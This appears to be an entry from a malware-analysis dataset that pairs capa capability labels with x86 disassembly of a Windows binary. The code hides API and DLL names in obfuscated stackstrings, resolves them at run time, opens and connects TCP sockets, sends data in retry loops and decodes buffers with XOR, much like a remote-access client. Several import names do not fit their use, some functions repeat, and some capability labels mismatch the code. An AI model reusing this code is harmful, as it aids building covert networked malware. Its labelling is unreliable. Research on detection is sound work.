joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402005
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x38
push ebp
mov al, 0x32
push esi
mov esi, ecx
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov al, 0x6c
mov cl, 0x53
mov byte [esp + 0x20], al
mov byte [esp + 0x21], al
mov byte [esp + 0x13], al
mov byte [esp + 0x19], cl
mov byte [esp + 0xd], cl
lea eax, [esp + 0xc]
push edi
lea ecx, [esp + 0x1c]
mov dl, 0x57
push eax
push ecx
mov byte [esp + 0x24], dl
mov byte [esp + 0x27], 0x5f
mov byte [esp + 0x28], 0x33
mov byte [esp + 0x2a], 0x2e
mov byte [esp + 0x2b], 0x64
mov byte [esp + 0x2e], 0
mov byte [esp + 0x18], dl
mov byte [esp + 0x1a], 0x41
mov byte [esp + 0x1b], 0x49
mov byte [esp + 0x1c], 0x6f
mov byte [esp + 0x1d], 0x63
mov byte [esp + 0x1e], 0x74
mov byte [esp + 0x20], 0
call dword [sym.imp.kernel32.dll_GetStringTypeW]
push eax
call dword [sym.imp.kernel32.dll_GetConsoleNlsMode]
mov ecx, esi
mov ebp, eax
call fcn.00402020
mov edx, dword [esi + 0xac]
push edx
call dword [sym.imp.kernel32.dll_InitializeSRWLock]
push 6
push 1
push 2
mov byte [esi + 0xb5], 0
call dword [sym.imp.ws2_32.dll_socket]
mov dword [esi + 0xa8], eax
mov eax, dword [esp + 0x48]
push eax
call dword [sym.imp.ws2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x401f4d
pop edi
pop esi
xor al, al
pop ebp
add esp, 0x38
ret 8
mov ecx, dword [esp + 0x4c]
mov word [esp + 0x34], 2
push ecx
call dword [sym.imp.ws2_32.dll_htons]
mov word [esp + 0x36], ax
mov edx, dword [edi + 0xc]
push 0x10
mov eax, dword [edx]
lea edx, [esp + 0x38]
push edx
mov ecx, dword [eax]
mov eax, dword [esi + 0xa8]
push eax
mov dword [esp + 0x44], ecx
call dword [sym.imp.ws2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401f93
pop edi
pop esi
xor al, al
pop ebp
add esp, 0x38
ret 8
mov edx, dword [esi + 0xa8]
lea ecx, [esp + 0xf]
push 1
push ecx
push 8
push 0xffff
push edx
mov byte [esp + 0x23], 1
call dword [sym.imp.ws2_32.dll_setsockopt]
test eax, eax
jne 0x401fef
push eax
mov edx, dword [esi + 0xa8]
push eax
lea eax, [esp + 0x17]
push eax
push 0
push 0
lea ecx, [esp + 0x3c]
push 0xc
push ecx
push 0x98000004
push edx
mov dword [esp + 0x4c], 1
mov dword [esp + 0x50], 0xea60
mov dword [esp + 0x54], 0x1388
call ebp
push 1
push 0
push 0
push esi
push 0x401d80
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.00408240
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebp
add esp, 0x38
ret 8
Function at 0x402120
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x10]
push ebp
push esi
mov esi, dword [esp + 0x1c]
push edi
mov edi, dword [esp + 0x18]
cmp ebx, esi
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], 0
jb 0x40210a
xor ebp, ebp
mov eax, dword [esp + 0x10]
push 0
push esi
push edi
mov ecx, dword [eax + 0xa8]
push ecx
call dword [sym.imp.ws2_32.dll_send]
test eax, eax
jg 0x4020ec
push 0x64
call dword [sym.imp.kernel32.dll_PeekNamedPipe]
inc ebp
cmp ebp, 0xf
jge 0x402154
jmp 0x4020c3
mov ecx, dword [esp + 0x18]
mov ebp, dword [sym.imp.kernel32.dll_PeekNamedPipe]
add ecx, eax
push 0xa
mov dword [esp + 0x1c], ecx
add edi, esi
call ebp
sub ebx, esi
cmp ebx, esi
jb 0x402110
jmp 0x4020c1
mov ebp, dword [sym.imp.kernel32.dll_PeekNamedPipe]
test ebx, ebx
jle 0x402148
xor esi, esi
mov edx, dword [esp + 0x10]
push 0
push ebx
push edi
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.ws2_32.dll_send]
test eax, eax
jg 0x402144
push 0x64
call ebp
inc esi
cmp esi, 0xf
jl 0x402116
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret 0xc
add dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
cmp eax, ecx
je 0x402157
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc
Function at 0x402280
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40edb0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0x10], esp
test eax, eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], 0
jne 0x4021bc
call fcn.00402020
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp eax, 5
jne 0x402206
mov edx, dword [ebp + 8]
mov ecx, eax
lea edi, [ebx + 0xb0]
lea esi, [edx + 4]
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x402206
lea esi, [ebx + 0x7c]
mov ecx, esi
call fcn.00401690
push 0
mov ecx, esi
mov edi, eax
call fcn.00401c60
push edi
push eax
mov ecx, ebx
call fcn.00402520
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 8
push eax
mov eax, dword [ebp + 8]
add ebx, 4
push eax
mov ecx, ebx
call fcn.00401280
mov ecx, ebx
call fcn.00401690
cmp eax, 0xd
jbe 0x4021a9
push 4
mov ecx, ebx
call fcn.00401c60
mov ecx, dword [eax]
xor esi, esi
mov dword [ebp - 0x28], ecx
mov dl, byte [eax + 4]
push esi
mov ecx, ebx
mov byte [ebp - 0x24], dl
mov dword [ebp + 8], esi
call fcn.00401c60
mov eax, dword [eax]
cmp eax, esi
mov dword [ebp + 8], eax
je 0x4021a9
mov ecx, ebx
call fcn.00401690
cmp eax, dword [ebp + 8]
jb 0x4021a9
lea eax, [ebp + 8]
push 4
push eax
mov ecx, ebx
mov dword [ebp + 0xc], esi
call fcn.00401460
lea ecx, [ebp - 0x28]
push 5
push ecx
mov ecx, ebx
call fcn.00401460
lea edx, [ebp + 0xc]
push 4
push edx
mov ecx, ebx
call fcn.00401460
mov eax, dword [ebp + 8]
lea esi, [eax - 0xd]
push esi
call sub.mfc42.dll_operatornew
mov ecx, dword [ebp + 0xc]
add esp, 4
mov edi, eax
push ecx
call sub.mfc42.dll_operatornew
add esp, 4
mov ecx, ebx
mov dword [ebp - 0x18], eax
push esi
push edi
call fcn.00401460
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x14]
push esi
push edi
mov dword [ebp - 0x1c], edx
call fcn.00402350
mov ecx, dword [ebp - 0x18]
push esi
lea eax, [ebp - 0x1c]
push edi
push eax
push ecx
call fcn.004090d0
add esp, 0x10
test eax, eax
jne 0x402316
mov edx, dword [ebp - 0x14]
lea esi, [edx + 0x2c]
mov ecx, esi
call fcn.00401af0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
push eax
push ecx
mov ecx, esi
call fcn.00401280
mov ecx, esi
call fcn.00401690
push 0
mov ecx, esi
mov esi, eax
call fcn.00401c60
mov edx, dword [ebp - 0x14]
push esi
push eax
mov ecx, dword [edx + 0xb8]
mov edx, dword [ecx]
call dword [edx + 4]
push edi
call sub.mfc42.dll_operatordelete
mov eax, dword [ebp - 0x18]
add esp, 4
push eax
call sub.mfc42.dll_operatordelete
add esp, 4
jmp 0x402215
Function at 0x402285
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40edb0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0x10], esp
test eax, eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], 0
jne 0x4021bc
call fcn.00402020
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp eax, 5
jne 0x402206
mov edx, dword [ebp + 8]
mov ecx, eax
lea edi, [ebx + 0xb0]
lea esi, [edx + 4]
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x402206
lea esi, [ebx + 0x7c]
mov ecx, esi
call fcn.00401690
push 0
mov ecx, esi
mov edi, eax
call fcn.00401c60
push edi
push eax
mov ecx, ebx
call fcn.00402520
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 8
push eax
mov eax, dword [ebp + 8]
add ebx, 4
push eax
mov ecx, ebx
call fcn.00401280
mov ecx, ebx
call fcn.00401690
cmp eax, 0xd
jbe 0x4021a9
push 4
mov ecx, ebx
call fcn.00401c60
mov ecx, dword [eax]
xor esi, esi
mov dword [ebp - 0x28], ecx
mov dl, byte [eax + 4]
push esi
mov ecx, ebx
mov byte [ebp - 0x24], dl
mov dword [ebp + 8], esi
call fcn.00401c60
mov eax, dword [eax]
cmp eax, esi
mov dword [ebp + 8], eax
je 0x4021a9
mov ecx, ebx
call fcn.00401690
cmp eax, dword [ebp + 8]
jb 0x4021a9
lea eax, [ebp + 8]
push 4
push eax
mov ecx, ebx
mov dword [ebp + 0xc], esi
call fcn.00401460
lea ecx, [ebp - 0x28]
push 5
push ecx
mov ecx, ebx
call fcn.00401460
lea edx, [ebp + 0xc]
push 4
push edx
mov ecx, ebx
call fcn.00401460
mov eax, dword [ebp + 8]
lea esi, [eax - 0xd]
push esi
call sub.mfc42.dll_operatornew
mov ecx, dword [ebp + 0xc]
add esp, 4
mov edi, eax
push ecx
call sub.mfc42.dll_operatornew
add esp, 4
mov ecx, ebx
mov dword [ebp - 0x18], eax
push esi
push edi
call fcn.00401460
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x14]
push esi
push edi
mov dword [ebp - 0x1c], edx
call fcn.00402350
mov ecx, dword [ebp - 0x18]
push esi
lea eax, [ebp - 0x1c]
push edi
push eax
push ecx
call fcn.004090d0
add esp, 0x10
test eax, eax
jne 0x402316
mov edx, dword [ebp - 0x14]
lea esi, [edx + 0x2c]
mov ecx, esi
call fcn.00401af0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
push eax
push ecx
mov ecx, esi
call fcn.00401280
mov ecx, esi
call fcn.00401690
push 0
mov ecx, esi
mov esi, eax
call fcn.00401c60
mov edx, dword [ebp - 0x14]
push esi
push eax
mov ecx, dword [edx + 0xb8]
mov edx, dword [ecx]
call dword [edx + 4]
push edi
call sub.mfc42.dll_operatordelete
mov eax, dword [ebp - 0x18]
add esp, 4
push eax
call sub.mfc42.dll_operatordelete
add esp, 4
jmp 0x402215
Function at 0x402460
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x6c
mov eax, 0xaaaaaaab
push esi
mul dword [esp + 0x78]
mov esi, edx
xor ecx, ecx
shr esi, 1
mov word [esp + 4], 0xee
mov word [esp + 6], 0xed
mov word [esp + 8], 0xeb
mov word [esp + 0xa], 0xef
mov word [esp + 0xc], 0xda
mov word [esp + 0xe], 0xdc
mov word [esp + 0x10], 0xde
mov word [esp + 0x12], 0xdd
mov word [esp + 0x14], 0xdf
mov word [esp + 0x16], 0xdb
mov word [esp + 0x18], 0xca
mov word [esp + 0x1a], 0xcc
mov word [esp + 0x1c], 0x30
mov word [esp + 0x1e], 0x40
mov word [esp + 0x20], 0x50
mov word [esp + 0x22], 0x60
mov word [esp + 0x24], 0x70
mov word [esp + 0x26], 0x80
mov word [esp + 0x28], 0x90
mov word [esp + 0x2a], 0x11
mov word [esp + 0x2c], 0x21
mov word [esp + 0x2e], 0x31
mov word [esp + 0x30], 0x41
mov word [esp + 0x32], 0x51
mov word [esp + 0x34], 0x61
mov word [esp + 0x36], 0x71
mov word [esp + 0x38], 0x81
mov word [esp + 0x3a], 0x91
mov word [esp + 0x3c], 0x12
mov word [esp + 0x3e], 0x22
mov word [esp + 0x40], 0xbe
mov word [esp + 0x42], 0xbd
mov word [esp + 0x44], 0xbf
mov word [esp + 0x46], 0xbb
mov word [esp + 0x48], 0xaa
mov word [esp + 0x4a], 0xac
mov word [esp + 0x4c], 0x67
mov word [esp + 0x4e], 0x77
mov word [esp + 0x50], 0x87
mov word [esp + 0x52], 0x97
mov word [esp + 0x54], 0x18
mov word [esp + 0x56], 0x28
mov word [esp + 0x58], 0x63
mov word [esp + 0x5a], 0x73
mov word [esp + 0x5c], 0x83
mov word [esp + 0x5e], 0x93
mov word [esp + 0x60], 0x14
mov word [esp + 0x62], 0x24
mov word [esp + 0x64], 0xfe
mov word [esp + 0x66], 0xfd
mov word [esp + 0x68], 0xff
mov word [esp + 0x6a], 0xfb
mov word [esp + 0x6c], 0xfa
mov word [esp + 0x6e], 0xfc
mov eax, ecx
je 0x40250b
push ebx
push edi
mov edi, dword [esp + 0x7c]
cmp cx, 0x36
jne 0x4024ef
xor ecx, ecx
mov bl, byte [eax + edi]
mov edx, ecx
and edx, 0xffff
mov dl, byte [esp + edx*2 + 0xc]
xor bl, dl
inc ecx
mov byte [eax + edi], bl
inc eax
cmp eax, esi
jb 0x4024e7
pop edi
pop ebx
pop esi
add esp, 0x6c
ret 8
Function at 0x402465
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x6c
mov eax, 0xaaaaaaab
push esi
mul dword [esp + 0x78]
mov esi, edx
xor ecx, ecx
shr esi, 1
mov word [esp + 4], 0xee
mov word [esp + 6], 0xed
mov word [esp + 8], 0xeb
mov word [esp + 0xa], 0xef
mov word [esp + 0xc], 0xda
mov word [esp + 0xe], 0xdc
mov word [esp + 0x10], 0xde
mov word [esp + 0x12], 0xdd
mov word [esp + 0x14], 0xdf
mov word [esp + 0x16], 0xdb
mov word [esp + 0x18], 0xca
mov word [esp + 0x1a], 0xcc
mov word [esp + 0x1c], 0x30
mov word [esp + 0x1e], 0x40
mov word [esp + 0x20], 0x50
mov word [esp + 0x22], 0x60
mov word [esp + 0x24], 0x70
mov word [esp + 0x26], 0x80
mov word [esp + 0x28], 0x90
mov word [esp + 0x2a], 0x11
mov word [esp + 0x2c], 0x21
mov word [esp + 0x2e], 0x31
mov word [esp + 0x30], 0x41
mov word [esp + 0x32], 0x51
mov word [esp + 0x34], 0x61
mov word [esp + 0x36], 0x71
mov word [esp + 0x38], 0x81
mov word [esp + 0x3a], 0x91
mov word [esp + 0x3c], 0x12
mov word [esp + 0x3e], 0x22
mov word [esp + 0x40], 0xbe
mov word [esp + 0x42], 0xbd
mov word [esp + 0x44], 0xbf
mov word [esp + 0x46], 0xbb
mov word [esp + 0x48], 0xaa
mov word [esp + 0x4a], 0xac
mov word [esp + 0x4c], 0x67
mov word [esp + 0x4e], 0x77
mov word [esp + 0x50], 0x87
mov word [esp + 0x52], 0x97
mov word [esp + 0x54], 0x18
mov word [esp + 0x56], 0x28
mov word [esp + 0x58], 0x63
mov word [esp + 0x5a], 0x73
mov word [esp + 0x5c], 0x83
mov word [esp + 0x5e], 0x93
mov word [esp + 0x60], 0x14
mov word [esp + 0x62], 0x24
mov word [esp + 0x64], 0xfe
mov word [esp + 0x66], 0xfd
mov word [esp + 0x68], 0xff
mov word [esp + 0x6a], 0xfb
mov word [esp + 0x6c], 0xfa
mov word [esp + 0x6e], 0xfc
mov eax, ecx
je 0x40250b
push ebx
push edi
mov edi, dword [esp + 0x7c]
cmp cx, 0x36
jne 0x4024ef
xor ecx, ecx
mov bl, byte [eax + edi]
mov edx, ecx
and edx, 0xffff
mov dl, byte [esp + edx*2 + 0xc]
xor bl, dl
inc ecx
mov byte [eax + edi], bl
inc eax
cmp eax, esi
jb 0x4024e7
pop edi
pop ebx
pop esi
add esp, 0x6c
ret 8
Function at 0x4026a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ebx, [ebp + 0x54]
mov ecx, ebx
call fcn.00401af0
mov eax, dword [esp + 0x24]
test eax, eax
jbe 0x402655
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], 0
fild qword [esp + 0x14]
fmul qword [0x40f1f0]
fadd qword [0x40f1e8]
call sub.msvcrt.dll_Ordinal_281
push eax
mov dword [esp + 0x14], eax
call sub.mfc42.dll_operatornew
mov edi, eax
add esp, 4
test edi, edi
jne 0x40257d
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 8
mov eax, dword [esp + 0x24]
mov esi, dword [esp + 0x20]
push eax
lea ecx, [esp + 0x14]
push esi
push ecx
push edi
call fcn.00409220
add esp, 0x10
test eax, eax
je 0x4025af
push edi
call sub.mfc42.dll_operatordelete
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 8
mov edx, dword [esp + 0x10]
mov ecx, ebp
push edx
push edi
call fcn.00402350
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push 4
add eax, 0xd
push ecx
mov ecx, ebx
mov dword [esp + 0x1c], eax
call fcn.00401280
lea edx, [ebp + 0xb0]
push 5
push edx
mov ecx, ebx
call fcn.00401280
lea eax, [esp + 0x24]
push 4
push eax
mov ecx, ebx
call fcn.00401280
mov ecx, dword [esp + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.00401280
push edi
call sub.mfc42.dll_operatordelete
mov edx, dword [esp + 0x28]
push edx
call sub.mfc42.dll_operatornew
mov ecx, dword [esp + 0x2c]
mov dword [esp + 0x28], eax
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
add esp, 8
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [ebp + 0x7c]
mov ecx, esi
call fcn.00401af0
mov ecx, dword [esp + 0x24]
mov edi, dword [esp + 0x20]
push ecx
push edi
mov ecx, esi
call fcn.00401280
test edi, edi
je 0x402679
push edi
call sub.mfc42.dll_operatordelete
add esp, 4
jmp 0x402679
lea esi, [ebp + 0xb0]
push 5
push esi
mov ecx, ebx
call fcn.00401280
lea edi, [ebp + 0x7c]
mov ecx, edi
call fcn.00401af0
push 5
push esi
mov ecx, edi
call fcn.00401280
push 0x2000
mov ecx, ebx
call fcn.00401690
push eax
push 0
mov ecx, ebx
call fcn.00401c60
push eax
mov ecx, ebp
call fcn.004020a0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 8
Function at 0x402c70
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x5c
mov al, 0x45
push ebx
push ebp
mov dword [esp + 8], ecx
mov byte [esp + 0x55], al
mov byte [esp + 0x58], al
push esi
mov esi, dword [sym.imp.kernel32.dll_GetStringTypeW]
lea eax, [esp + 0x34]
push edi
lea ecx, [esp + 0x5c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x64], 0x4b
mov byte [esp + 0x66], 0x52
mov byte [esp + 0x67], 0x4e
mov byte [esp + 0x69], 0x4c
mov byte [esp + 0x6a], 0x33
mov byte [esp + 0x6b], 0x32
mov byte [esp + 0x6c], 0x2e
mov byte [esp + 0x6d], 0x64
mov byte [esp + 0x6e], 0x6c
mov byte [esp + 0x6f], 0x6c
mov byte [esp + 0x70], 0
mov byte [esp + 0x40], 0x43
mov byte [esp + 0x41], 0x72
mov byte [esp + 0x42], bl
mov byte [esp + 0x43], 0x61
mov byte [esp + 0x44], 0x74
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x46
mov byte [esp + 0x47], 0x69
mov byte [esp + 0x48], 0x6c
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x41
mov byte [esp + 0x4b], 0
call esi
mov edi, dword [sym.imp.kernel32.dll_GetConsoleNlsMode]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x44]
lea eax, [esp + 0x5c]
push edx
push eax
mov byte [esp + 0x4c], 0x43
mov byte [esp + 0x4d], 0x6c
mov byte [esp + 0x4e], 0x6f
mov byte [esp + 0x4f], 0x73
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], 0x48
mov byte [esp + 0x52], 0x61
mov byte [esp + 0x53], 0x6e
mov byte [esp + 0x54], 0x64
mov byte [esp + 0x55], 0x6c
mov byte [esp + 0x56], bl
mov byte [esp + 0x57], 0
call esi
push eax
call edi
lea ecx, [esp + 0x50]
lea edx, [esp + 0x5c]
push ecx
push edx
mov dword [esp + 0x1c], eax
mov byte [esp + 0x58], 0x47
mov byte [esp + 0x59], bl
mov byte [esp + 0x5a], 0x74
mov byte [esp + 0x5b], 0x46
mov byte [esp + 0x5c], 0x69
mov byte [esp + 0x5d], 0x6c
mov byte [esp + 0x5e], bl
mov byte [esp + 0x5f], 0x53
mov byte [esp + 0x60], 0x69
mov byte [esp + 0x61], 0x7a
mov byte [esp + 0x62], bl
mov byte [esp + 0x63], 0
call esi
push eax
call edi
push 0
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x14]
push 0x80
push 3
push 0
push 0
add eax, 0x120
push connect
push eax
call ebp
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x402dca
push eax
call dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
call fcn.00402e70
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x5c
ret 4
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], 0
push ecx
push ebp
call dword [esp + 0x24]
push ebp
mov dword [esp + 0x24], eax
call dword [esp + 0x18]
mov ecx, dword [0x4136bc]
lea edx, [esp + 0x18]
push 4
lea eax, [esp + 0x31]
push edx
push eax
mov byte [esp + 0x38], 0x91
call fcn.00405ca0
lea ecx, [esp + 0x20]
push 4
lea edx, [esp + 0x35]
push ecx
mov ecx, dword [0x4136bc]
push edx
call fcn.00405ca0
lea eax, [esp + 0x24]
lea ecx, [esp + 0x5c]
push eax
push ecx
mov byte [esp + 0x2c], 0x53
mov byte [esp + 0x2d], 0x6c
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], 0x70
mov byte [esp + 0x31], 0
call esi
push eax
call edi
push 0x12c
call eax
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x2c]
push 9
push edx
call fcn.00404ff0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x5c
ret 4
Function at 0x402e86
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Contain obfuscated stackstrings
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x5c
push ebx
mov al, 0x45
push ebp
mov ebp, ecx
mov byte [esp + 0x3d], al
mov byte [esp + 0x40], al
push esi
mov esi, dword [sym.imp.kernel32.dll_GetStringTypeW]
lea eax, [esp + 0x50]
push edi
lea ecx, [esp + 0x44]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x4c], 0x4b
mov byte [esp + 0x4e], 0x52
mov byte [esp + 0x4f], 0x4e
mov byte [esp + 0x51], 0x4c
mov byte [esp + 0x52], 0x33
mov byte [esp + 0x53], 0x32
mov byte [esp + 0x54], 0x2e
mov byte [esp + 0x55], 0x64
mov byte [esp + 0x56], 0x6c
mov byte [esp + 0x57], 0x6c
mov byte [esp + 0x58], 0
mov byte [esp + 0x5c], 0x47
mov byte [esp + 0x5d], bl
mov byte [esp + 0x5e], 0x74
mov byte [esp + 0x5f], 0x57
mov byte [esp + 0x60], 0x69
mov byte [esp + 0x61], 0x6e
mov byte [esp + 0x62], 0x64
mov byte [esp + 0x63], 0x6f
mov byte [esp + 0x64], 0x77
mov byte [esp + 0x65], 0x73
mov byte [esp + 0x66], 0x44
mov byte [esp + 0x67], 0x69
mov byte [esp + 0x68], 0x72
mov byte [esp + 0x69], bl
mov byte [esp + 0x6a], 0x63
mov byte [esp + 0x6b], 0x74
mov byte [esp + 0x6c], 0x6f
mov byte [esp + 0x6d], 0x72
mov byte [esp + 0x6e], 0x79
mov byte [esp + 0x6f], 0x41
mov byte [esp + 0x70], 0
call esi
mov edi, dword [sym.imp.kernel32.dll_GetConsoleNlsMode]
push eax
call edi
lea edx, [esp + 0x2c]
lea eax, [esp + 0x44]
push edx
push eax
mov byte [esp + 0x34], 0x43
mov byte [esp + 0x35], 0x72
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], 0x61
mov byte [esp + 0x38], 0x74
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], 0x46
mov byte [esp + 0x3b], 0x69
mov byte [esp + 0x3c], 0x6c
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x41
mov byte [esp + 0x3f], 0
call esi
push eax
call edi
mov dword [esp + 0x10], eax
mov byte [esp + 0x38], 0x43
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], 0x6f
mov byte [esp + 0x3b], 0x73
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 0x48
mov byte [esp + 0x3e], 0x61
mov byte [esp + 0x3f], 0x6e
mov byte [esp + 0x40], 0x64
mov byte [esp + 0x41], 0x6c
mov byte [esp + 0x42], bl
lea ecx, [esp + 0x38]
lea edx, [esp + 0x44]
push ecx
push edx
mov byte [esp + 0x4b], 0
call esi
push eax
call edi
mov dword [esp + 0x14], eax
lea eax, [esp + 0x18]
lea ecx, [esp + 0x44]
push eax
push ecx
mov byte [esp + 0x20], 0x53
mov byte [esp + 0x21], 0x6c
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0x70
mov byte [esp + 0x25], 0
call esi
push eax
call edi
xor edi, edi
mov esi, eax
push edi
push 0x80
push 2
xor edx, edx
push edi
push 2
lea eax, [ebp + 0x120]
mov dword [esp + 0x35], edx
push 0x40000000
push eax
mov dword [esp + 0x41], edx
mov byte [esp + 0x3c], 0x8f
call dword [esp + 0x2c]
cmp eax, 0xffffffff
jne 0x403049
mov dword [ebp + 0x228], edi
mov dword [ebp + 0x22c], edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x5c
ret
push eax
call dword [esp + 0x18]
push 0x12c
call esi
lea ecx, [esp + 0x20]
push 9
push ecx
mov ecx, ebp
call fcn.00404ff0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x5c
ret